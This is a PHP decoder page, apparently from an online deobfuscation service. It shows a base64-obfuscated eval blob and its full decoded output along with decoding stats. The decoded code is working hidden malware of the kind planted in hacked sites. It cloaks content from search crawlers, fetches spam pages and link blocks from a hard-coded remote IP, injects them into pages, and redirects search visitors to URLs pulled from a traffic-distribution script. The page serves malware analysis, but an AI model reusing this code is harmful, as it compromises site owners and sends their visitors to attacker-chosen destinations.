Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOyBpZiAoISRfR0VUWydkb250dG91Y2h0aGlzJ10pIHsgJG..

Decoded Output download

error_reporting(0); if (!$_GET['donttouchthis']) { $botsUrl = "http://193.111.244.157/x254/botip/bots.dat"; $uri = $_SERVER['REQUEST_URI']; if ((strpos ($_SERVER['HTTP_REFERER'], "q=site%3A") || strpos ($_SERVER['HTTP_REFERER'], "q=inurl%3A")) && $uri != "/") { header("Location: http://".$_SERVER['HTTP_HOST']); exit; } $user_agent_to_filter = array( '#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#', '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i', '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i','#www\.cys\.ru#i', '#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i', '#CFNetwork#i', '#ConveraCrawler#i','#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i', '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i', '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i', '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i', '#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i', '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i', '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i', '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i', '#Yandex#i', '#Yanga#i', '#Yeti#i','#msnbot#i', '#spider#i', '#yahoo#i', '#jeeves#i' ,'#google#i' ,'#altavista#i', '#scooter#i' ,'#av\s*fetch#i' ,'#asterias#i' ,'#spiderthread revision#i' ,'#sqworm#i', '#ask#i' ,'#lycos.spider#i' ,'#infoseek sidewinder#i' ,'#ultraseek#i' ,'#polybot#i', '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i', '#charlotte#i', '#ngb#i' ) ; $bot = false; $my_ip2long = sprintf("%u", ip2long($_SERVER['REMOTE_ADDR'])); $stop_ips_masks = array( array("216.239.32.0","216.239.63.255"), array("64.68.80.0" ,"64.68.87.255" ), array("66.102.0.0", "66.102.15.255"), array("64.233.160.0","64.233.191.255"), array("66.249.64.0", "66.249.95.255"), array("72.14.192.0", "72.14.255.255"), array("209.85.128.0","209.85.255.255"), array("198.108.100.192","198.108.100.207"), array("173.194.0.0","173.194.255.255"), array("216.33.229.144","216.33.229.151"), array("216.33.229.160","216.33.229.167"), array("209.185.108.128","209.185.108.255"), array("216.109.75.80","216.109.75.95"), array("64.68.88.0","64.68.95.255"), array("64.68.64.64","64.68.64.127"), array("64.41.221.192","64.41.221.207"), array("74.125.0.0","74.125.255.255"), array("65.52.0.0","65.55.255.255"), array("74.6.0.0","74.6.255.255"), array("67.195.0.0","67.195.255.255"), array("72.30.0.0","72.30.255.255"), array("38.0.0.0","38.255.255.255")); if (substr_count($_SERVER['HTTP_USER_AGENT'], "Google Web Preview")) sleep(15); if (FALSE !== strpos( gethostbyaddr($_SERVER['REMOTE_ADDR']), 'google')) $bot = true; if (!empty( $_SERVER['HTTP_USER_AGENT'] ) && ( FALSE !== strpos( preg_replace( $user_agent_to_filter, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT'] ), '-NO-WAY-' ) ) ) $bot = true; if (!$bot) { foreach ($stop_ips_masks as $IPs) { $first_d = sprintf("%u",ip2long($IPs[0])); $second_d = sprintf("%u",ip2long($IPs[1])); if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) { $bot = true; break; } } } if (!is_dir("xmlrpc/")) { $x = "xmlrpc/"; $arr = explode ("/", $x); unset ($str, $arr2, $arr[count($arr)-1]); foreach ($arr as $val) { $str .= $val."/"; $arr2[] = $str; } $res = true; foreach ($arr2 as $val) { if (!is_dir($val)) if (!mkdir ($val)) $res = false; } } if (!$bot) { $bf = "xmlrpc/cached-b"; $botsFile = xGet ($bf); if(strlen ($botsFile) < 100||!$botsFile||!file_exists($bf)||time()-filemtime($bf)>24*3600) { $botsFile = get ($botsUrl); if (strlen ($botsFile) > 100) xPut ($bf, $botsFile); } if (substr_count($botsFile, $_SERVER['REMOTE_ADDR'])>0) $bot = true; } $siteID = $_GET['category']; $pageID = $_GET['watch']; $catPage = $_GET['page']; if (get ("http://193.111.244.157/x254/test.php") == "ok") $aviable = true; else $aviable = false; if($bot) { if ($pageID) $outsourceurl="http://193.111.244.157/x254/sp.php?site=$siteID&page=$pageID"; if ($catPage) $outsourceurl="http://193.111.244.157/x254/sc.php?site=$siteID&page=$catPage"; if ($pageID || $catPage) { if ($pageID) $cached = "xmlrpc/cached-$pageID"; else $cached = "xmlrpc/cached-cat-$catPage"; $content = xGet ("$cached"); if((!$content||!file_exists($cached)) && $aviable) { $out = get ($outsourceurl); if (strlen ($out) > 1000) { print $out; xPut ("$cached", $out); exit; } } else echo $content; exit; } else { $lf = "xmlrpc/cached-l"; $links = xGet ($lf); if((!$links||!file_exists($lf)||time()-filemtime($lf)>24*3600) && $aviable) { $links = get ("http://193.111.244.157/x254/links.php?site=2147"); if (substr_count($links, "http") > 5) xPut ($lf, $links); } if (strpos ($_SERVER['REQUEST_URI'], "?")) $originalurl = "http://".$_SERVER["HTTP_HOST"].$_SERVER['REQUEST_URI']."&donttouchthis=true"; else $originalurl = "http://".$_SERVER["HTTP_HOST"].$_SERVER['REQUEST_URI']."?donttouchthis=true"; $originalpage = get ($originalurl); $originalpage = preg_replace('/(<\/body>)/i', "$links$1", $originalpage, 1); print $originalpage; exit; } } else if ($siteID && preg_match('/live|msn|yahoo|google|ask|aol|bing/', $_SERVER["HTTP_REFERER"])) { $tdsf = "xmlrpc/cached-t"; $tds = xGet ($tdsf); if((substr_count($tds , "http") < 5 || !file_exists($tdsf) || time()-filemtime($tdsf)>3600) && $aviable) { $tds = get ("http://193.111.244.157/zb5/d5.php?T=perm"); if (substr_count($tds, "http") > 5) xPut ($tdsf, $tds); } if (strpos ($tds, "
")) { $tdsArr = split ("
", $tds); $tds = $tdsArr[rand(0,count($tdsArr)-1)]; } header('Location: '.trim ($tds)."#".rand(1,999999)); exit; } } function get ($url) { if (function_exists("curl_init")) { $c = curl_init(); curl_setopt($c, CURLOPT_URL, $url); curl_setopt($c, CURLOPT_RETURNTRANSFER, true); @curl_setopt($c, CURLOPT_FOLLOWLOCATION, 1); @curl_setopt($c, CURLOPT_MAXREDIRS, 15); $page = curl_exec($c); curl_close($c); if (strlen ($page) < 10) { $cf = "tmp"; $c = curl_init(); curl_setopt($c, CURLOPT_URL, $url); curl_setopt($c, CURLOPT_RETURNTRANSFER, true); @curl_setopt($c, CURLOPT_FOLLOWLOCATION, 1); @curl_setopt($c, CURLOPT_MAXREDIRS, 15); curl_setopt($ch, CURLOPT_COOKIEFILE, $cf); curl_setopt($ch, CURLOPT_COOKIEJAR, $cf); $page = curl_exec($c); curl_close($c); unlink ($cf); } } else $page = file_get_contents ($url); return $page; } function xPut ($file, $content) { if (function_exists("file_put_contents")) { return file_put_contents ($file, $content); } else { $f = fopen ($file, "w"); $done = false; if (fputs ($f, $content)) $done = true; fclose ($f); return $done; } } function xGet ($file) { if (function_exists("file_get_contents")) { return file_get_contents ($file); } else { $f = fopen ($file, "r"); $contents = fread($f, filesize($file)); return $contents; } }

Did this file decode correctly?

Original Code

eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOyBpZiAoISRfR0VUWydkb250dG91Y2h0aGlzJ10pIHsgJGJvdHNVcmwgPSAiaHR0cDovLzE5My4xMTEuMjQ0LjE1Ny94MjU0L2JvdGlwL2JvdHMuZGF0IjsgJHVyaSA9ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOyBpZiAoKHN0cnBvcyAoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddLCAicT1zaXRlJTNBIikgfHwgc3RycG9zICgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10sICJxPWludXJsJTNBIikpICYmICR1cmkgIT0gIi8iKSB7IGhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly8iLiRfU0VSVkVSWydIVFRQX0hPU1QnXSk7IGV4aXQ7IH0gJHVzZXJfYWdlbnRfdG9fZmlsdGVyID0gYXJyYXkoICcjQXNrXHMqSmVldmVzI2knLCAnI0hQXHMqV2ViXHMqUHJpbnRTbWFydCNpJywgJyNIVFRyYWNrI2knLCAnI0lEQm90I2knLCAnI0luZHlccypMaWJyYXJ5IycsICcjTGlzdENoZWNrZXIjaScsICcjTVNJRUNyYXdsZXIjaScsICcjTmV0Q2FjaGUjaScsICcjTnV0Y2gjaScsICcjUlBULUhUVFBDbGllbnQjaScsICcjcnVsaW5raVwucnUjaScsICcjVHdpY2VsZXIjaScsICcjV2ViQWx0YSNpJywgJyNXZWJzdGVyXHMqUHJvI2knLCcjd3d3XC5jeXNcLnJ1I2knLCAnI1d5c2lnb3QjaScsICcjWWFob28hXHMqU2x1cnAjaScsICcjWWV0aSNpJywgJyNBY2Nvb25hI2knLCAnI0Nhem9vZGxlQm90I2knLCAnI0NGTmV0d29yayNpJywgJyNDb252ZXJhQ3Jhd2xlciNpJywnI0RJU0NvI2knLCAnI0Rvd25sb2FkXHMqTWFzdGVyI2knLCAnI0ZBU1RccypNZXRhV2ViXHMqQ3Jhd2xlciNpJywgJyNGbGV4dW1ccypzcGlkZXIjaScsICcjR2lnYWJvdCNpJywgJyNIVE1MUGFyc2VyI2knLCAnI2lhX2FyY2hpdmVyI2knLCAnI2ljaGlybyNpJywgJyNJUkxib3QjaScsICcjSmF2YSNpJywgJyNrbVwucnVccypib3QjaScsICcja21TZWFyY2hCb3QjaScsICcjbGlid3d3LXBlcmwjaScsICcjTHVwYVwucnUjaScsICcjTFdQOjpTaW1wbGUjaScsICcjbHdwLXRyaXZpYWwjaScsICcjTWlzc2lndWEjaScsICcjTUoxMmJvdCNpJywgJyNtc25ib3QjaScsICcjbXNuYm90LW1lZGlhI2knLCAnI09mZmxpbmVccypFeHBsb3JlciNpJywgJyNPbW5pRXhwbG9yZXJfQm90I2knLCAnI1BFQVIjaScsICcjcHNib3QjaScsICcjUHl0aG9uI2knLCAnI3J1bGlua2lcLnJ1I2knLCAnI1NNSUxFI2knLCAnI1NwZWVkeSNpJywgJyNUZWxlcG9ydFxzKlBybyNpJywgJyNUdXJ0bGVTY2FubmVyI2knLCAnI1VzZXItQWdlbnQjaScsICcjdm95YWdlciNpJywgJyNXZWJhbHRhI2knLCAnI1dlYkNvcGllciNpJywgJyNXZWJEYXRhI2knLCAnI1dlYlpJUCNpJywgJyNXZ2V0I2knLCAnI1lhbmRleCNpJywgJyNZYW5nYSNpJywgJyNZZXRpI2knLCcjbXNuYm90I2knLCAnI3NwaWRlciNpJywgJyN5YWhvbyNpJywgJyNqZWV2ZXMjaScgLCcjZ29vZ2xlI2knICwnI2FsdGF2aXN0YSNpJywgJyNzY29vdGVyI2knICwnI2F2XHMqZmV0Y2gjaScgLCcjYXN0ZXJpYXMjaScgLCcjc3BpZGVydGhyZWFkIHJldmlzaW9uI2knICwnI3Nxd29ybSNpJywgJyNhc2sjaScgLCcjbHljb3Muc3BpZGVyI2knICwnI2luZm9zZWVrIHNpZGV3aW5kZXIjaScgLCcjdWx0cmFzZWVrI2knICwnI3BvbHlib3QjaScsICcjd2ViY3Jhd2xlciNpJywgJyNyb2JvemlsbCNpJywgJyNndWxsaXZlciNpJywgJyNhcmNoaXRleHRzcGlkZXIjaScsICcjeWFob28hXHMqc2x1cnAjaScsICcjY2hhcmxvdHRlI2knLCAnI25nYiNpJyApIDsgJGJvdCA9IGZhbHNlOyAkbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IiwgaXAybG9uZygkX1NFUlZFUlsnUkVNT1RFX0FERFInXSkpOyAkc3RvcF9pcHNfbWFza3MgPSBhcnJheSggYXJyYXkoIjIxNi4yMzkuMzIuMCIsIjIxNi4yMzkuNjMuMjU1IiksIGFycmF5KCI2NC42OC44MC4wIiAsIjY0LjY4Ljg3LjI1NSIgKSwgYXJyYXkoIjY2LjEwMi4wLjAiLCAiNjYuMTAyLjE1LjI1NSIpLCBhcnJheSgiNjQuMjMzLjE2MC4wIiwiNjQuMjMzLjE5MS4yNTUiKSwgYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwgYXJyYXkoIjcyLjE0LjE5Mi4wIiwgIjcyLjE0LjI1NS4yNTUiKSwgYXJyYXkoIjIwOS44NS4xMjguMCIsIjIwOS44NS4yNTUuMjU1IiksIGFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwgYXJyYXkoIjE3My4xOTQuMC4wIiwiMTczLjE5NC4yNTUuMjU1IiksIGFycmF5KCIyMTYuMzMuMjI5LjE0NCIsIjIxNi4zMy4yMjkuMTUxIiksIGFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksIGFycmF5KCIyMDkuMTg1LjEwOC4xMjgiLCIyMDkuMTg1LjEwOC4yNTUiKSwgYXJyYXkoIjIxNi4xMDkuNzUuODAiLCIyMTYuMTA5Ljc1Ljk1IiksIGFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksIGFycmF5KCI2NC42OC42NC42NCIsIjY0LjY4LjY0LjEyNyIpLCBhcnJheSgiNjQuNDEuMjIxLjE5MiIsIjY0LjQxLjIyMS4yMDciKSwgYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLCBhcnJheSgiNjUuNTIuMC4wIiwiNjUuNTUuMjU1LjI1NSIpLCBhcnJheSgiNzQuNi4wLjAiLCI3NC42LjI1NS4yNTUiKSwgYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLCBhcnJheSgiNzIuMzAuMC4wIiwiNzIuMzAuMjU1LjI1NSIpLCBhcnJheSgiMzguMC4wLjAiLCIzOC4yNTUuMjU1LjI1NSIpKTsgaWYgKHN1YnN0cl9jb3VudCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICJHb29nbGUgV2ViIFByZXZpZXciKSkgc2xlZXAoMTUpOyBpZiAoRkFMU0UgIT09IHN0cnBvcyggZ2V0aG9zdGJ5YWRkcigkX1NFUlZFUlsnUkVNT1RFX0FERFInXSksICdnb29nbGUnKSkgJGJvdCA9IHRydWU7IGlmICghZW1wdHkoICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSApICYmICggRkFMU0UgIT09IHN0cnBvcyggcHJlZ19yZXBsYWNlKCAkdXNlcl9hZ2VudF90b19maWx0ZXIsICctTk8tV0FZLScsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSApLCAnLU5PLVdBWS0nICkgKSApICRib3QgPSB0cnVlOyBpZiAoISRib3QpIHsgZm9yZWFjaCAoJHN0b3BfaXBzX21hc2tzIGFzICRJUHMpIHsgJGZpcnN0X2QgPSBzcHJpbnRmKCIldSIsaXAybG9uZygkSVBzWzBdKSk7ICRzZWNvbmRfZCA9IHNwcmludGYoIiV1IixpcDJsb25nKCRJUHNbMV0pKTsgaWYgKCRteV9pcDJsb25nID49ICRmaXJzdF9kICYmICRteV9pcDJsb25nIDw9ICRzZWNvbmRfZCkgeyAkYm90ID0gdHJ1ZTsgYnJlYWs7IH0gfSB9IGlmICghaXNfZGlyKCJ4bWxycGMvIikpIHsgJHggPSAieG1scnBjLyI7ICRhcnIgPSBleHBsb2RlICgiLyIsICR4KTsgdW5zZXQgKCRzdHIsICRhcnIyLCAkYXJyW2NvdW50KCRhcnIpLTFdKTsgZm9yZWFjaCAoJGFyciBhcyAkdmFsKSB7ICRzdHIgLj0gJHZhbC4iLyI7ICRhcnIyW10gPSAkc3RyOyB9ICRyZXMgPSB0cnVlOyBmb3JlYWNoICgkYXJyMiBhcyAkdmFsKSB7IGlmICghaXNfZGlyKCR2YWwpKSBpZiAoIW1rZGlyICgkdmFsKSkgJHJlcyA9IGZhbHNlOyB9IH0gaWYgKCEkYm90KSB7ICRiZiA9ICJ4bWxycGMvY2FjaGVkLWIiOyAkYm90c0ZpbGUgPSB4R2V0ICgkYmYpOyBpZihzdHJsZW4gKCRib3RzRmlsZSkgPCAxMDB8fCEkYm90c0ZpbGV8fCFmaWxlX2V4aXN0cygkYmYpfHx0aW1lKCktZmlsZW10aW1lKCRiZik+MjQqMzYwMCkgeyAkYm90c0ZpbGUgPSBnZXQgKCRib3RzVXJsKTsgaWYgKHN0cmxlbiAoJGJvdHNGaWxlKSA+IDEwMCkgeFB1dCAoJGJmLCAkYm90c0ZpbGUpOyB9IGlmIChzdWJzdHJfY291bnQoJGJvdHNGaWxlLCAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSk+MCkgJGJvdCA9IHRydWU7IH0gJHNpdGVJRCA9ICRfR0VUWydjYXRlZ29yeSddOyAkcGFnZUlEID0gJF9HRVRbJ3dhdGNoJ107ICRjYXRQYWdlID0gJF9HRVRbJ3BhZ2UnXTsgaWYgKGdldCAoImh0dHA6Ly8xOTMuMTExLjI0NC4xNTcveDI1NC90ZXN0LnBocCIpID09ICJvayIpICRhdmlhYmxlID0gdHJ1ZTsgZWxzZSAkYXZpYWJsZSA9IGZhbHNlOyBpZigkYm90KSB7IGlmICgkcGFnZUlEKSAkb3V0c291cmNldXJsPSJodHRwOi8vMTkzLjExMS4yNDQuMTU3L3gyNTQvc3AucGhwP3NpdGU9JHNpdGVJRCZwYWdlPSRwYWdlSUQiOyBpZiAoJGNhdFBhZ2UpICRvdXRzb3VyY2V1cmw9Imh0dHA6Ly8xOTMuMTExLjI0NC4xNTcveDI1NC9zYy5waHA/c2l0ZT0kc2l0ZUlEJnBhZ2U9JGNhdFBhZ2UiOyBpZiAoJHBhZ2VJRCB8fCAkY2F0UGFnZSkgeyBpZiAoJHBhZ2VJRCkgJGNhY2hlZCA9ICJ4bWxycGMvY2FjaGVkLSRwYWdlSUQiOyBlbHNlICRjYWNoZWQgPSAieG1scnBjL2NhY2hlZC1jYXQtJGNhdFBhZ2UiOyAkY29udGVudCA9IHhHZXQgKCIkY2FjaGVkIik7IGlmKCghJGNvbnRlbnR8fCFmaWxlX2V4aXN0cygkY2FjaGVkKSkgJiYgJGF2aWFibGUpIHsgJG91dCA9IGdldCAoJG91dHNvdXJjZXVybCk7IGlmIChzdHJsZW4gKCRvdXQpID4gMTAwMCkgeyBwcmludCAkb3V0OyB4UHV0ICgiJGNhY2hlZCIsICRvdXQpOyBleGl0OyB9IH0gZWxzZSBlY2hvICRjb250ZW50OyBleGl0OyB9IGVsc2UgeyAkbGYgPSAieG1scnBjL2NhY2hlZC1sIjsgJGxpbmtzID0geEdldCAoJGxmKTsgaWYoKCEkbGlua3N8fCFmaWxlX2V4aXN0cygkbGYpfHx0aW1lKCktZmlsZW10aW1lKCRsZik+MjQqMzYwMCkgJiYgJGF2aWFibGUpIHsgJGxpbmtzID0gZ2V0ICgiaHR0cDovLzE5My4xMTEuMjQ0LjE1Ny94MjU0L2xpbmtzLnBocD9zaXRlPTIxNDciKTsgaWYgKHN1YnN0cl9jb3VudCgkbGlua3MsICJodHRwIikgPiA1KSB4UHV0ICgkbGYsICRsaW5rcyk7IH0gaWYgKHN0cnBvcyAoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sICI/IikpICRvcmlnaW5hbHVybCA9ICJodHRwOi8vIi4kX1NFUlZFUlsiSFRUUF9IT1NUIl0uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIiZkb250dG91Y2h0aGlzPXRydWUiOyBlbHNlICRvcmlnaW5hbHVybCA9ICJodHRwOi8vIi4kX1NFUlZFUlsiSFRUUF9IT1NUIl0uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIj9kb250dG91Y2h0aGlzPXRydWUiOyAkb3JpZ2luYWxwYWdlID0gZ2V0ICgkb3JpZ2luYWx1cmwpOyAkb3JpZ2luYWxwYWdlID0gcHJlZ19yZXBsYWNlKCcvKDxcL2JvZHk+KS9pJywgIiRsaW5rcyQxIiwgJG9yaWdpbmFscGFnZSwgMSk7IHByaW50ICRvcmlnaW5hbHBhZ2U7IGV4aXQ7IH0gfSBlbHNlIGlmICgkc2l0ZUlEICYmIHByZWdfbWF0Y2goJy9saXZlfG1zbnx5YWhvb3xnb29nbGV8YXNrfGFvbHxiaW5nLycsICRfU0VSVkVSWyJIVFRQX1JFRkVSRVIiXSkpIHsgJHRkc2YgPSAieG1scnBjL2NhY2hlZC10IjsgJHRkcyA9IHhHZXQgKCR0ZHNmKTsgaWYoKHN1YnN0cl9jb3VudCgkdGRzICwgImh0dHAiKSA8IDUgfHwgIWZpbGVfZXhpc3RzKCR0ZHNmKSB8fCB0aW1lKCktZmlsZW10aW1lKCR0ZHNmKT4zNjAwKSAmJiAkYXZpYWJsZSkgeyAkdGRzID0gZ2V0ICgiaHR0cDovLzE5My4xMTEuMjQ0LjE1Ny96YjUvZDUucGhwP1Q9cGVybSIpOyBpZiAoc3Vic3RyX2NvdW50KCR0ZHMsICJodHRwIikgPiA1KSB4UHV0ICgkdGRzZiwgJHRkcyk7IH0gaWYgKHN0cnBvcyAoJHRkcywgIlxyXG4iKSkgeyAkdGRzQXJyID0gc3BsaXQgKCJcclxuIiwgJHRkcyk7ICR0ZHMgPSAkdGRzQXJyW3JhbmQoMCxjb3VudCgkdGRzQXJyKS0xKV07IH0gaGVhZGVyKCdMb2NhdGlvbjogJy50cmltICgkdGRzKS4iIyIucmFuZCgxLDk5OTk5OSkpOyBleGl0OyB9IH0gZnVuY3Rpb24gZ2V0ICgkdXJsKSB7IGlmIChmdW5jdGlvbl9leGlzdHMoImN1cmxfaW5pdCIpKSB7ICRjID0gY3VybF9pbml0KCk7IGN1cmxfc2V0b3B0KCRjLCBDVVJMT1BUX1VSTCwgJHVybCk7IGN1cmxfc2V0b3B0KCRjLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsgQGN1cmxfc2V0b3B0KCRjLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsgQGN1cmxfc2V0b3B0KCRjLCBDVVJMT1BUX01BWFJFRElSUywgMTUpOyAkcGFnZSA9IGN1cmxfZXhlYygkYyk7IGN1cmxfY2xvc2UoJGMpOyBpZiAoc3RybGVuICgkcGFnZSkgPCAxMCkgeyAkY2YgPSAidG1wIjsgJGMgPSBjdXJsX2luaXQoKTsgY3VybF9zZXRvcHQoJGMsIENVUkxPUFRfVVJMLCAkdXJsKTsgY3VybF9zZXRvcHQoJGMsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOyBAY3VybF9zZXRvcHQoJGMsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOyBAY3VybF9zZXRvcHQoJGMsIENVUkxPUFRfTUFYUkVESVJTLCAxNSk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY2YpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY2YpOyAkcGFnZSA9IGN1cmxfZXhlYygkYyk7IGN1cmxfY2xvc2UoJGMpOyB1bmxpbmsgKCRjZik7IH0gfSBlbHNlICRwYWdlID0gZmlsZV9nZXRfY29udGVudHMgKCR1cmwpOyByZXR1cm4gJHBhZ2U7IH0gZnVuY3Rpb24geFB1dCAoJGZpbGUsICRjb250ZW50KSB7IGlmIChmdW5jdGlvbl9leGlzdHMoImZpbGVfcHV0X2NvbnRlbnRzIikpIHsgcmV0dXJuIGZpbGVfcHV0X2NvbnRlbnRzICgkZmlsZSwgJGNvbnRlbnQpOyB9IGVsc2UgeyAkZiA9IGZvcGVuICgkZmlsZSwgInciKTsgJGRvbmUgPSBmYWxzZTsgaWYgKGZwdXRzICgkZiwgJGNvbnRlbnQpKSAkZG9uZSA9IHRydWU7IGZjbG9zZSAoJGYpOyByZXR1cm4gJGRvbmU7IH0gfSBmdW5jdGlvbiB4R2V0ICgkZmlsZSkgeyBpZiAoZnVuY3Rpb25fZXhpc3RzKCJmaWxlX2dldF9jb250ZW50cyIpKSB7IHJldHVybiBmaWxlX2dldF9jb250ZW50cyAoJGZpbGUpOyB9IGVsc2UgeyAkZiA9IGZvcGVuICgkZmlsZSwgInIiKTsgJGNvbnRlbnRzID0gZnJlYWQoJGYsIGZpbGVzaXplKCRmaWxlKSk7IHJldHVybiAkY29udGVudHM7IH0gfQ=="));

Function Calls

base64_decode 1

Variables

None

Stats

MD5 90fe53ef166e96a5cf062cc1daa80820
Eval Count 1
Decode Time 94 ms